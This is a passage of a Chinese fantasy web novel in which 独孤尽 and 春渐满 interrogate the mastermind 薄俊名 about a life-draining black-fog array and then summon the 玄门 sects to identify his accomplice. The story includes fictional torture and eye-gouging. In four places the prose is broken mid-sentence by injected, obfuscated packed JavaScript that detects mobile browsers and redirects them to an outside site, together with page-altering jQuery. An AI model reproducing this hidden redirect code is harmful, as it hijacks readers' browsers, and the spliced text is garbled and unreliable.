“那你就在这里等他出现。”独孤尽说完这句话就朝春渐满使了个眼色,他俩非常有默契,同时隐身。 “你们……你们这样是没用的……”谁料,一下就被对方看破了。 “那些蜡烛都是我这样安上去的,你们这样连我都骗不过去,更骗不过主子了。”独孤尽没想到对方还挺老实,直接站在他们的角度思考问题。 “那我们就真走了,你别想跑。”独孤尽又警告了一句,稍微费了点劲,让“怪奇诊所”虚拟了一层套在他们身上。 这样……就没人能发觉了。 毕竟,玄门里也没这种术法,就算真有,用的也不是他们这种招式,无法察觉。 “真走了?”对方看着独孤尽和春渐满瞬间消失,伸手往前挥了挥,什么也没摸着,又胡乱在屋里打了一圈,什么也没碰到后才急匆匆想要逃跑,可又想起来了警告。 既然能够直接找到这里来,说明自己如果逃跑了,也会被第一时间发现。 他的脸色又红转白又转红,几番之后,他抹掉额头上的汗,又给主子发了个消息。 无论怎样,他是不会让主子遭受危险的,既然想要他做诱饵,那他就给主子通风报信。 殊不知,独孤尽和春渐满正悄没声息地站在他身后,盯着他一个字一个字打出消息。 可独孤尽却并没有阻止他把消息传递出去。 一个拥有让世界进步梦想的极端派,怎么可能因为他们在这就不敢回来? 再怎么样,也要把这个引他们过来的罪魁祸首解决了吧? 独孤尽和春渐满很冷静地坐在一边等着。 反正现在放蜡烛的人也被他们扣在这了,一时半刻也没办法填充上那些阵法缺少的蜡烛,不用担心世界瞬间变天。 只是,光这样等着未免无趣,在这种无趣的时刻,当然是逗他喜欢的人最有趣了。 独孤尽非常作死地扣住了春渐满的手指,牵起来送到嘴边亲了一口,立马遭到了一击重鞭。 这下虽然在“怪奇诊所”的掩饰下外界看不到什么波澜,可仍旧引起了对方的注意。 不得不说,那家伙的天赋实在是高,就是好好的玄门误入歧途了,着实可惜。 “你们还在对不对?!我就知道!我已经通知主子了,他很快就会来。”他说着违心的话,以为独孤尽和春渐满就算没离开,那也看不到他发的消息是什么,毕竟……离得那么近,他怎么可能没有察觉?对于自己的感官他还是很自信的。 独孤尽和春渐满并没出声,这种时候,他们承认在与不在都无所谓了。 没再等多久,他们要等的人出现了,且果不其然,是奔着杀他认为的叛徒去的。 独孤尽丝毫不急,他早在第一次放对方回去的时候就在他身上加过防御,就算是致命的攻击,也能抵御大半。 倒不如等这位幕后黑手彻底现身再行动。 谁让他跑那么快,追都追不上。 “你们?!别杀我!”那个傻子还以为是他们下的手。 独孤尽扶了扶额头,这倒也是,如果不是这样的笨蛋,哪个好人会被骗啊。 他虽然在能力上可以称得上天才,可这脑子却不太行啊,果然,人都是有缺点的。 没缺点的……就不怎么像人了。 独孤尽看了眼近乎完美的春渐满,满意地点点头,还是他家满哥好啊。 春渐满被独孤尽看的莫名其妙,总觉得有点儿毛骨悚然,他好像又被占便宜了?但具体怎么被占了便宜,他好像也不太说得出来。 独孤尽又静待了片刻,对方那位主子总算现身了,他一脸惊奇看着受了他两次攻击都没受伤的叛徒,“你什么时候功力又精进了?这究竟是什么术法?” 这会儿他不想只是把他杀死了,还想把他的价值全部掏空再杀。 “主子,我,我也不知道这是怎么回事,刚才那俩人想杀我,我身上突然就冒出了防御的壁垒,抵挡住了。”这人还没反应过来,要杀他的人就是他的主子。 “你不知晓?”幕后黑手眯起了眼睛,他的手就搭在对方的颈侧,只要稍微用力,就能将他的头颅直接拧断。 “我真不知晓,主子明鉴。”那双真诚至极的双眸很快失去了光彩,幕后黑手竟用最快的速度将叛徒的双眸挖了。 “……”独孤尽虽然给对方加固了防御,可那都是抵致命伤的,他真没想到对方会直取眼睛。 “啊啊啊——主子快走!他们又来了!” 独孤尽是真没想到,这人能眼瞎到这种程度,连仇人都看不清。 而他显然不想被这口黑锅,“怪奇诊所”的区域直接覆盖过来,将幕后黑手裹覆其中。 “这又是何种能力?!”不愧是幕后黑手,一下就发现了不对劲,可为时已晚,他已逃不出去。 谁让他不信自己的手下,非要将他当成叛徒。 连叛徒最后的警告都不听,极度自负,是必须背负代价的。 “姓名。”独孤尽不知从哪个画本上看来的王座,直接变了两个出来,拉着春渐满坐了下来,居高临下地看着幕后黑手。 幕后黑手用尽了他所有的能力,都没能从地上起来,他被活活扭了双臂,跪在地上,这是极其屈辱的姿势。 他不可能拜服在任何人脚下,任何人! 可即便内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689037|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再叫嚣,再不甘,也改变不了事实。 独孤尽见对方根本不情愿,索性抬脚踹在那人身上,“姓名,别让我说第三遍。” 虽然被踹了一脚,可幕后黑手也不是吓大的,他仍旧缄口不言。 “好,没有第三遍。”独孤尽冷笑出声,直接上了地狱十八件套。 显然没谁能忍受下这十八件套,包括这位幕后黑手,他才刚被拔了舌,断了指就已经有了求饶的意思。 比那位他觉得是叛徒的没好到哪儿去。 独孤尽见好就收,把幻觉撤去,“现在肯说了吗?” “薄俊名,我叫薄俊名,救……救命……” 这求饶的架势跟他手下真是如出一辙,就这样,他甚至还会怀疑那人,也不知道怎么想的。 “不硬气了?”独孤尽又问了一句。 薄俊名打了个寒颤,立马摇头,刚才的情景他不想再经历一遍,即便现在知道是幻象了。 毕竟,谁也不能保证对方是不是真的有良心,说不定下次就来真的了,他赌不起,也不想赌,哪怕是幻象那也太真实了,他受不住。 独孤尽暗自叹了口气,这种一点骨气都没有的反派,弄得他都觉得没意思了。 “为了世界进步?” “不……不是的……是为了救想救的人。”薄俊名立马摇头,他就是个普普通通的人,身上这么点儿能力全是坑蒙拐骗玄门让他们教的。 也只有那些个傻子会以为他特别厉害,将他当成全能的神。 “不再装一下了?”独孤尽提醒他注意形象,这怎么说也是这么大一桩案子的幕后黑手,怎么能这样不堪入目。 “你可是搅和得全球人民都不得安生。” “你要救谁?”独孤尽继续发问。 “救……救我父亲……他是有大能的人,他救了那么多人,怎么能因为寿数有限就被上天收了,绝对不能!”薄俊名想到此处,又悲愤起来,好似又有无穷力量能够继续反抗了。 搞了半天,是个坑爹的。 “报上名来听听,你父亲是谁?”独孤尽在脑海里过了一遍姓薄的名人,现在在活的好像不多…… “是薄青崖。”这回他倒是没隐瞒,像是炫耀一样说出了一个已经去世的人的名字。 “逆天改命?即便人已经去世了?”独孤尽追问了一遍。 这人还没死的时候续命他还能理解一点,人都已经尘归尘土归土了,他到底在妄想什么,像哪吒一样重生吗? “只要以神木为引,就能重塑肉身,我父亲就能活了,他就能永远活着了……” “你又怎知他愿意不死不灭地活下去?”独孤尽越发为那为给人类做了大贡献的人感到害怕,如果谁擅自帮他做这种主,他肯定跟这人不死不休战下去,做永远的敌人。 “你又怎知他不愿?!你懂什么?!你什么都不懂!”这句话像是捅了马蜂窝,薄俊名悲愤地仰着面,他恨啊,棋差一招,就差一点,只要……只要再蛊惑一下……对……他可以再蛊惑一下。 141. 召集一众玄门 “我允诺你,事成之后,你想要什么都可以,都可以给你!”薄俊名想起了蛊惑之术,猜测着独孤尽的需求,尽量表现得诚心。 “我要什么你都能给我?”独孤尽表现出了极大的兴趣,他扯了扯唇角,“你倒是说说,你能给我什么?” “只要我这次的实践成功了,那说明什么?说明人死可以复生啊!”薄俊名每每说到此处都极其激动,“既能复生,那抽取一些别人的生命之力怎么了?世界上多些对人类有帮助的人难道不比让那些废物呼吸着浪费空气强?” “况且,这是利于全球人民的研究,我用的是我父亲来做实验,又没有危害到旁人,如果没成,损失的也只有我,如果成了,那到时候可以汲取那些必死的死刑犯的生命力,让他们去复活能为人类造福的人有什么不好?这是废物利用。”薄俊名想到这里,脸上都是疯狂与希冀,“你一定能理解的吧,你一定能理解我吧!” “我理解你?”独孤尽觉得自己像是听到了什么天大的笑话,“你把自己说得很伟大一样,那些被你汲取的无辜之人的生命力呢?他们就活该折寿或者直接夭折?为了你的这种疯狂实验?” “废物利用?好像你还给了他们生存价值一样?”独孤尽嗤之以鼻,如果薄俊名老老实实承认他就是为了一己私欲行的此事,他可能还能高看薄俊名一眼,毕竟,人有的时候是被欲望驱使的,可能他跟他父亲的感情特别深,无法割舍倒是也能理解几分,当然,犯罪就是不对的。 可现在,他说得好像自己是为了全人类,所有的一切都是他在受委屈,就格外让人恶心了,“既要又要就是你的不对了。” “当然,你可能真是这么想的。”独孤尽擦了擦手上根本不存在的灰尘,站起身把薄俊名仅存的那一点幻想打破,“你方才说,事成之后,我要什么都可以?” “话不要说这么满,如果事成之后,我要世界毁灭呢?”独孤尽故意刁难薄俊名,一点点将他的希望打破。 “为……为什么?!你不是好人吗?!”薄俊名显然没想到独孤尽想要如此,这个世界这么好,怎么会有人不留恋?! “谁跟你说我是好人了?有没有一种可能,我只是单纯看你不爽,来破坏你的计划?”独孤尽继续混淆视听,他说完这些后,突觉无趣,抬起手,用拇指和食指隔空捏了捏,将薄俊名从地上捏起来,像团纸团一样揉了两下,随意一丢,丢进了画里。 又看了一眼在旁边跟条死虾一样的某人,用同样的方式把他丢过去陪他主子。 “他说的多半都是真的,他的手下也绝对不止这一名玄门之人,其他人藏在哪儿他估计也不会说,我留点东西在这等他们。”独孤尽朝周围各处施了点东西,一旦有人过来,这些小家伙会把人先留住。 “我觉得,是时候跟玄门那些人碰个面了。”独孤尽原本根本没打算跟玄门认识,毕竟他的“怪奇诊所”和玄门根本井水不犯河水,毕竟他不管给人算别的,他只帮人排忧解难,解决实事,图个精神上的痛快。 可现在,他也有了治病救人的能力,虽然他不打算大范围使用,否则太破坏这个世界的平衡了。 但他不得不跟玄门好好碰个面了,有什么事情大家说开,以后好办事。 也让他们好好认领一下自家的贤子贤孙。 独孤尽带着春渐满瞬移到陆烨修家的时候,陆烨修正睡得半梦半醒,他在家里等了许久也没等到独孤尽来接他,正准备闹着出去,但天色晚了,就先休息了,可没想到,这休息得正得劲,就让人摇醒了。 “你们真行……真不用休息。”陆烨修没好气地拿起水杯喝了一口,才缓过劲。 “我家好歹也是布置了结节的,你这样如出入无人之境真的好吗?”陆烨修把水全部喝掉,叹了口气,“说吧,现在过去?” “不出去,找你商量点事。” 独孤尽扯了张椅子给春渐满坐,自己则站在陆烨修面前,颇有点儿居高临下的压迫感。 “停停停,你这什么意思,整的好像我这连个坐的地方都没一样。”陆烨修拿出一张纸样的东西,轻轻抖了抖,一张椅子就出现在独孤尽面前,他也没说什么,直接坐了下来。 “你这样才有几分玄门中人的样子。”独孤尽正了正色,“言归正传,我这边需要你家出面,把玄门中人全都邀请过来,不一定所有人都来,但是每个门派都得有负责人过来。” “要让大家都去拆针法吗?”陆烨修唯一能想到的就是这点。 “不仅如此,我这边还有些人要他们认领,还要他们自己回去自查,挺多事情的,你看看大概要多久能把这事办了?”独孤尽也不知道玄门中人移动的速度是怎样的,如果各个都像陆烨修一样,那就完蛋了。 “明天通知下去,给他们两天时间,大后天应该就都能赶到了吧。”果不其然,陆烨修算的是人类通勤的时间,现在无论去哪里,有飞机,再慢,两天也差不多都能赶到了。 “这么久……也行吧,反正他们现在也没办法兴风作浪了,我正好趁这个时候休息休息。”多出来两天时间,够他回去把画里那一屋子的蜡烛清理了。 “那就大后天的早上十点,你倒是把具体的地点发给我,有什么变数也及时告诉我,我们先回去了。”独孤尽临走前,又问了陆烨修一遍,“你确定这事儿你家能出面吧?” 毕竟,之前陆家一而再再而三请求他们,别把他们儿子牵扯进去。 “你们这是找所有玄门,又不是单单找我一个,放心吧,大方向上,我爸妈还是会支持我的。”陆烨修没说的是,如果他父母真不同意的话,他也有办法自己一个个通知。 只不过,那样,要费时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689038|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了。 这次,独孤尽回去前,还在超市里买了一箱的汽水,这一箱汽水是什锦装,他让春渐满挑了一箱,问店家要的箱子。 “怎么同意我喝这么多?”春渐满没明白先前还控制他喝汽水的人,这次怎么这么大方。 “我仔细想了想,你又不是人类,虽然给植物也不能浇汽水,但你严格意义上来说也不是植物,你在别人眼里那可是神木,神木还会怕这区区汽水吗?”独孤尽当即挑了一瓶帮春渐满拧开,“喝吧。” 春渐满看了看满屋子的蜡烛,他只能站在蜡烛堆里先喝了一口,“把它们销毁了吧。” “在这之前,我还有个事要问薄俊名。”独孤尽一回到画里就想起来自己忘了重要的事。 独孤尽把薄俊名捏出来的时候,薄俊名正抱着脑袋,一脸惊恐,“你这个怪物!你有这种能力为什么不造福人类,还要来阻止我?!” “我怎么了,我把你丢过来之后没对你做什么吧?”独孤尽丝毫不知道光是把人丢到别的空间这件事就够骇人的了,别看现在空间小说、短剧那么多,任何人在现实中碰到,而且这个空间还不是自己的,自己是任人宰割的那位,都会极度惊恐。 “你又要干嘛?该说的我都说了。你,你就算再拔……我也说不出什么了!”薄俊名实在说不出拔舌这个词,他是真正感受过的,只要提到他都会幻痛。 “那些黑雾怎么回事?你要大家的生命就要吧,还弄些黑雾出来干什么?”这些黑雾才是最最棘手的,也是变数最大的。 “这你得问他,都是他说这样才能让人们的心理防线降低,生命力才更好提取出来。”薄俊名看了一眼那位被他判定为叛徒的家伙。 “既如此,你们都这种境地了,把黑雾取消了。”独孤尽毫不留情,直接踩在了那家伙背上。 “你想取消,做梦吧,只要阵法在,即便我们被你抓了,其他人也照样可以启动!” “看到这些蜡烛了吗?你们还想继续启动阵法?”独孤尽把如雪一样的蜡烛点燃一支,往那位“叛徒”身上抛过去。 “你是不是想说,要日光最好的时候燃了才能销毁?那我告诉你,在我的世界里,时间是由我说了算的。”独孤尽甚至随手捏了个太阳挂在头顶上方。 因为离得太近,独孤尽给春渐满加固了一层防护,那些蜡烛几乎在一瞬间就融化成液体,独孤尽又瞬间将它们变没,整个屋子变得空旷极了。 那两人目眦欲裂,“没关系,只要有神木,神木在,一切都还有转机……” “你俩是不是忘了什么?”独孤尽看向春渐满,春渐满在下一秒变化出了枝条,用力地抽在两人身上。 “既然是神木,那自然是有意识的,他可没站在你们那边。”独孤尽摇了摇手指,“要怪就怪你们太蠢,神木根本看不上。” 142. 倒是挺像婚礼 春渐满瞥了一眼独孤尽,独孤尽那话明显是变相的自夸,在他看来,独孤尽也挺蠢的。 不过,在敌人面前,他还是不拆台了。 用枝条将两人五花大绑后,春渐满还恶作剧地在他们脸上用树枝划了两个叉。 “把黑雾收了。” “你休想!神木!神木!别信那家伙,他给你什么,我们也能给!”对方仍旧不死心,想要再挣扎一下。 “你们?就凭他好端端站在那,你们被我捆在这?”春渐满觉得人能蠢,但是怎么能蠢成这样呢? “你捆他,我不信他能好端端站在那!”那人继续怂恿。 春渐满无奈地转身看向独孤尽,冲他使了个眼色。 要不要给他们表演一下? 独孤尽看春渐满有跃跃欲试的意思,点了点头,“也行,让你们死了心,好把黑雾收了。” 说时迟那时快,春渐满丝毫没留情,直接把枝条朝独孤尽那边射去,那速度比对付敌人还快。 独孤尽差点躲避不及,他嘴角抽了抽,这真的是表演?不是伺机试探他? 不过,他能瞬移,这点困难还难不住他,几下后,他就直接绕到了敌人身后,随之而来的枝条来不及收,抽到的是薄俊名。 “别打了别打了!你们快停手!”再打下去,恐怕他要被拆成十块八块的,拼都拼不起来了。 果然,这就是个叛徒,要不是他怂恿,这两人不会打起来,他也不会被波及。 薄俊名没好气地瞪了一眼身旁跟他一样惨遭了攻击的,“你快把那黑雾给撤了。” “主子!不行啊!黑雾不能撤!撤了就彻底没希望了!” “你给我撤了!”薄俊名愈发气急败坏。 “主子……我撤不了……黑雾一旦形成,就会随着人的情绪生长,除非……除非这世上的一切都不会产生消极能量,但这不可能啊,你和我都在产生消极能量。”这位“叛徒”哭笑不得,他如果能撤除,也会听从命令,可当时下这个术法时,他把一切后果都跟主子说过,主子怎么能什么都不记得呢? “那怎么办?!那我们怎么办?!就要被他们一直这样戏耍、折磨吗?!”薄俊名一想到自己的父亲不仅没能复活,自己还被这么当猴子一样对待,整个人都不好了。 “放心,我们可没心情一直陪你玩。”独孤尽得到了自己想要的答案也不在这两人身上纠缠。 一切都等之后玄门中人都来了,让他们认领吧。 陆烨修办事还是很利落的,很快独孤尽就收到了信息,在一家特别大的酒店,酒店里有专门供人开会的议事厅,在那挺好,既能安排众人食宿,还方便他们认人。 几天转瞬即逝,期间独孤尽和春渐满没再管那两人,只是关注了一下外界的能量波动,只要没有异常,那就什么都不用担心。 “来,满哥帮我打个领带。”独孤尽已经很久没穿过这么正式的衣服了,毕竟作为“怪奇诊所”的当家出场,怎么也要打扮一下。 他穿了一件稳重得体的西装,只不过他的气质不够稳重,颇有几分斯文败类反派的感觉,甚至戴了一副反派标配的金丝边眼镜,遮住了他吊儿郎当的桃花眼,勉强增强了点气势。 实际上,那眼镜根本就没有度数,纯装饰。 “你穿了这么多年西装,难道领带都是别人帮你打的?”春渐满可没惯着独孤尽,他拿起领带直接甩到了独孤尽头上。 “可不是,以前都有管家帮我,现在就满哥能管着我,当然要负责帮我打领带了。”独孤尽不依不饶,他可不想放过这么好的机会,毕竟这次错过,下次就不知道要等到什么时候了。 “我管过你?”春渐满根本不接这个突然冒出来的莫须有的头衔,“实在不会,自己去看视频。” 春渐满帮独孤尽找了领带的十种打法,里面多花里胡哨的系法都有,随便挑。 “别说你不会,你要连这个都不会,我作为神木,可就去帮助别人了。”这个别人不言而喻,是在点独孤尽说薄俊名蠢。 独孤尽说不过春渐满,只能委委屈屈自己给自己把领带系上了,反过来去帮春渐满打领带。 “我自己会。”春渐满丝毫不给独孤尽表现的机会。 “我刚刚学了好多种打领带的方法,有个特别适合你,让我试试吧。”独孤尽继续用他可怜巴巴的目光看向春渐满,只不过戴了那副反派眼镜,他的可怜大打折扣。 “赶紧吧,别让人等。”春渐满看了眼时间,距离约定的时间还有半小时了。 “放心,别人都得坐车,我们可以直接闪亮登场,花不了一秒钟的。”独孤尽特别悠闲,慢条斯理帮春渐满打好领带后,还带着他吃了顿早点垫垫肚子,才牵着他的手瞬移到会议厅。 一眼望过去,已经有十多个不同门派到玄门世家来了。 他们居然来早了,竟还有很多玄门到现在都没到。 独孤尽一眼就看到了陆烨修,几步过去把他拉到一边,“你登记的怎么样了?还有多少没来?” “都在酒店里呢,昨晚上就都赶到了,只不过可能这家酒店太舒适了,好多人没缓过劲,没起床呢。”陆烨修有点无奈了,他已经联系了前台,一个个打电话提醒。 这真是他失策了,原本觉得玄门世家该很靠谱,谁知道,没几个靠谱的。 靠谱的,现在都已经在会议厅了。 “放心,他们就算拖延,今天也都能集合,实在不行,我让前台给我□□,一个个把他们从房里拖出来。”陆烨修打包票,这也是他第一次召集玄门做大事,可不能把事情办成这个样子啊,于谁脸上都不光彩。 陆父陆母倒是早早到了,见自家儿子又跟那两位令人头疼的呆一块儿絮絮叨叨不知道说些什么头就更疼了。 独孤尽感受到目光,冲两位点了点头。 勉强算是没在面上发作,陆父陆母也点了点头。 “你把房间号给我,哪些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689039|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人没来,我把他们调过来。”独孤尽可没耐心等人一个个去请他们。 “你要……”陆烨修猜出了独孤尽要做什么,脸上一阵青一阵白,这有点太不尊重人了,而且很容易结仇。 “你怕?”独孤尽挑了挑眉,他向来做事只顾自己,毕竟之前都是他单打独斗,这次掺和了个人进来,他也有点不适应,要不要收敛点? “谁说我怕了,这是没来的人的房间号。”陆烨修把签到本拿给独孤尽看,上面明确标准了房间号和人名,甚至还有门派名称,倒是做得很细致。 独孤尽虽然穿得很正式,但他始终跟陆烨修在角落里絮絮叨叨,虽被人看了几眼,但还没多少人关注他,他也乐得全神贯注把人摇出来。 “啊——” “啊——什么妖孽?!” “谁?!是谁做法?!” “你可知我师承谁?!尔等宵小怎敢!” 随着会议厅里凭空掉落的人越来越多,谩骂的声音也越来越响,可仍旧没人注意到站在角落里的独孤尽。 又过了一会儿,独孤尽缓缓睁开眼睛,扫视了一下逐渐满起来的会议厅,满意地点了点头,“人齐了,可以开始了。” “你这可是彻底把人得罪光了啊。”陆烨修一边看一边咋舌,陆父和陆母也脸色铁青,这些人都是他们出面请过来的,无论是谁做的这事,到时候他们家都要背上个坏名声。 陆烨修讪笑着给父母赔不是,“你们先坐好,坐好。” “交友不慎啊,管教不严啊。”陆父叹了口气,前一句是批评陆烨修的,而后一句则是批评自己的。 陆烨修看了独孤尽和春渐满一眼,走上讲台,“大家稍安勿躁,我们陆家请大家过来的用意在电话里已经和各位说得很清楚了,接下来就有请‘怪奇诊所’的当家。” 独孤尽看了春渐满一眼,直接牵着他的手一起走上了讲台。 春渐满觉得格外别扭,怎么有种不是来讲事情的错觉,倒像是别人参加他俩的婚礼…… 刚冒出来这种错觉,春渐满脸色就更差了,他挣脱独孤尽的手,往旁边挪了一步,与独孤尽间隔了安全距离。 独孤尽倒是也没在意,他推了推眼镜,冲台下那些玄门中人笑了笑。 “看到‘怪奇诊所’的当家是我,大家很失望?难道各位的门派到现在还在延续论资排辈那一套?”独孤尽丝毫没给大家面子,讲的话也足够离经叛道,陆烨修在旁边听着直捂脸,他现在说自己不认识这人还能行吗? “这回劳烦大家大老远跑这么一趟主要就几件事,一个,你们也别再想方设法打听‘怪奇诊所’了,现在我亮相了,就是希望你们别再浪费时间在这么没意义的事上,但你们也休想拍照,或者用玄门术法留存我的影像,我有办法让你们传不出去。” “另外,我这边有两人,其中一人确定是玄门中人,应该能力挺强的,你们之中肯定有人能认出来,还要麻烦你们把人认领了……” 143. 黑雾眼 独孤尽说完打了个常规的响指,给了大家一点提醒,才将那两人从画里调了出来。 “别看我!别看我!”那位玄门中人知道发生了什么,一个劲想要把身体蜷缩起来,甚至直接倒在地上,做着高难度动作,那头恐怕从来没做过那种幅度,直接往肚子上挤压。 “别把脖子扭断了,悠着点,还有人等着看你的脸呢。”独孤尽轻轻抬了抬手指就直接把在地上咕蛹的人给提到了半空中,全方位360度无死角给大家转动着展示了一下,任他再怎么想把脸藏起来都藏不住。 “这……这不是你们天脉门的天才弟子吗?唯一一位年纪轻轻就掌管门派内多项事宜的那位……怎么会,怎么会被‘怪奇诊所’给抓住了……”有人看了几眼,似是不信,又多看几眼才确认了,开始窃窃私语。 “都说‘怪奇诊所’只会抓那些不法之人,你这门内弟子到底做了什么,要被拿出来这么羞辱?” “‘怪奇诊所’的手段很毒辣啊,听说被治疗过的罪犯都会自首,说不定你们门派的这位弟子没犯什么事,不然怎么没去自首呢?” “哎,你别胡乱猜测了,人家天脉门还没认领呢,说不定不是他们的那位天才,只是长得有几分相似。” 下面已经闹成一团,独孤尽也观察到了其中有一波人的脸色奇差,想必就是天脉门了。 “大家别光顾着讨论,如果还看不清没法认领,我只能强行让他的脸暴露在大家面前了。”独孤尽说罢,直接轻弹手指,从别人的角度,他好像什么也没做,原本就被悬挂在空中的人一下子被迫舒展开来,脸也被掰回了正面。 这回天脉门想不承认都不行了,这位天才问世的时候,他们可带着人在别的门派炫耀过不止一回。 如若此刻再不认下,倒是更丢面子了。 “是我天脉门中人,敢问‘怪奇诊所’的当家,门中弟子是犯了什么事,非要这般羞辱他?”可能是“怪奇诊所”在江湖上的名声太响亮,竟没人怀疑是他故意做坏事。 “近期,天降的那团黑雾大家都知道吧?”既然已经有人认了人,独孤尽就把人直接丢回了地上,他本就没羞辱人的嗜好。 “那黑雾,就是他弄的,这次召集大家过来认人,也是为了集思广益把这黑雾破除了,黑雾对人类的危害,想必这段时间大家都有感受。”独孤尽说完这番话后,所有玄门中人的目光都聚集在了天脉门的人身上。 那是一种想要把人杀死的目光,天脉门的人如芒在背,快在座位上呆不下去了。 “首先,还得先问问天脉门,你们可会破解这黑雾,应该是你们门中的秘法吧?”独孤尽的声音又沉又缓,却刺激着他们的耳膜,恨不能往耳朵里塞点儿棉花球,让自己什么也听不见。 “天脉门中可没这种蛊惑人心的邪术,一定是他不知道在哪儿自己学的。”天脉门的长老实在坐不住了,他站起来否认了一切。 “敢问,您在天脉门多久了?可受掌门的器重,是否会把所有门中秘术都告知你?”独孤尽这话问的杀人诛心,毕竟一个是门派的天才,一个是门派的长老,如果掌门偏心,把一些东西告知了天才,这些连长老都不知道,那他们回去,也有的闹了。 “不会……我派一向光明正大,虽……虽有些争强好胜,却绝对不会用此等卑鄙手段,这种秘术绝不是我派之物,我瞧着……其实也不是光我们猜测,诸位应该在这黑雾现世之时都有所猜测吧……”他顿了顿,勉强把胸中那股火气压了下去,才接着道,“这黑雾的手笔倒像是从影流门出来的。” 影流门是后起新秀,喜欢研究一些稀奇古怪的术法,很多有古老传承到门派特别不喜欢他们。 这回,影流门的人也来了,坐在最后边,可以说是藏在角落里了,没想到此刻变成了焦点。 “你放……”有一人差点跳起来骂人,被他身旁的那位按着肩膀硬按了下去。 “现在不是追究黑雾究竟是他从哪儿学到的,只请诸位集思广益,如有能解除的方法,还请一定告知。”独孤尽一看这天脉门是要转移战火,立马平息了这场即将燃起的战争。 影流门来的是掌门人,他们门派比较新,门内本就没多少人,掌门直接过来也在情理之中。 这位掌门人穿了一身黑衣,倒真有几分影子的味道,他原本还用连帽衫的帽子把自己的脑袋都包裹着来,现在倒是摘下了帽子,跟独孤尽对视了一眼。 独孤尽装模作样推了推眼镜,把视线收回。 就这么一下,这位影流门的掌门人举起了手,“我有破解之法。” “你看吧,我就说是他们……”天脉门的立马叫嚣起来。 春渐满听着聒噪,直接甩了枝条过去抽了天脉门长老一鞭子,“闭嘴。” “你干什么?!怎么能随便打人呢?!”天脉门的其他门人立刻不干了,一个个拍桌子要起来干架。 春渐满瞥了独孤尽一眼。 你们人类都是这副德行吗? 独孤尽嘴角抽了抽,直接让“怪奇诊所”的区域覆盖这里,把天脉门的人隔离在了另外一层,让他们只能看见大家,却无法离开也无法传出声音。 这一举动自然引起了其他玄门中人的注意,在他们眼里,天脉门的人就像是魔怔了一样,在那张牙舞爪却没一点儿声音,嘴是一直在动,看口型,骂得应该挺脏的,可听不见声音就显得他们的举动格外滑稽。 “这是?” 不断有惊奇声发出,独孤尽却没解释,反正在那个范围内,他们再想出来也出不来。 完全变成小丑的天脉门也正好解了春渐满的气,毕竟,就因为他们门派中出了这么个人才让所有人都陷入了一种奇怪的生存环境里。 独孤尽朝影流门那位点了点头,那位站起来,直接走到了讲台上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689040|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这术法确实不是我影流门创的,但自从黑雾出现,我们就一直在研究解除之法,后有试验过,确实有用,但能不能将所有黑雾都消除,我们也不知。” 说完这话,他没再耽搁,直接演示了一遍,此时此刻,他们都能清楚看到天脉门已经有人身上现出黑雾了。 在他的一番操作后,这黑雾确实消失得无影无踪,天脉门的那人也没之前那么暴躁了,明显安静了下来。 “事不宜迟,你可愿跟我们去一趟黑雾眼?”那是黑雾最初出现的地方,也是黑雾最集中的地方,现在那位置已经没人生活了,所有在那边的人都已经在国家的支持下搬离了。 “有何不可?” 独孤尽点了点头,又看向会议厅的众人,“差点忘了,这还有一人,你们有谁认识吗?” 独孤尽终于想起了薄俊名,把他也提到了空中,他倒是一直没吵没闹,只是在缩小自己的存在感,但没想到最后的最后,独孤尽还能记得他。 “这不是……薄老的儿子吗?”很多老一辈人都认识他。 “他跟了哪个门派?” “他……没拜入我们任何一个门派中,是吃的百家饭……也就是,在哪都学了。” 独孤尽有点费解,按理说这些门派应该都很严谨,如果不是拜入门中,怎么会有人愿意教他。 “实不相瞒,我等都受过薄老的恩惠,实在没法拒他儿子在门外,而且他挺谦逊的,怎么会也被你们抓了?” “没事,他做的事想必你们也不会愿意知道。”独孤尽一言概之,直接把两人都丢回了画里。 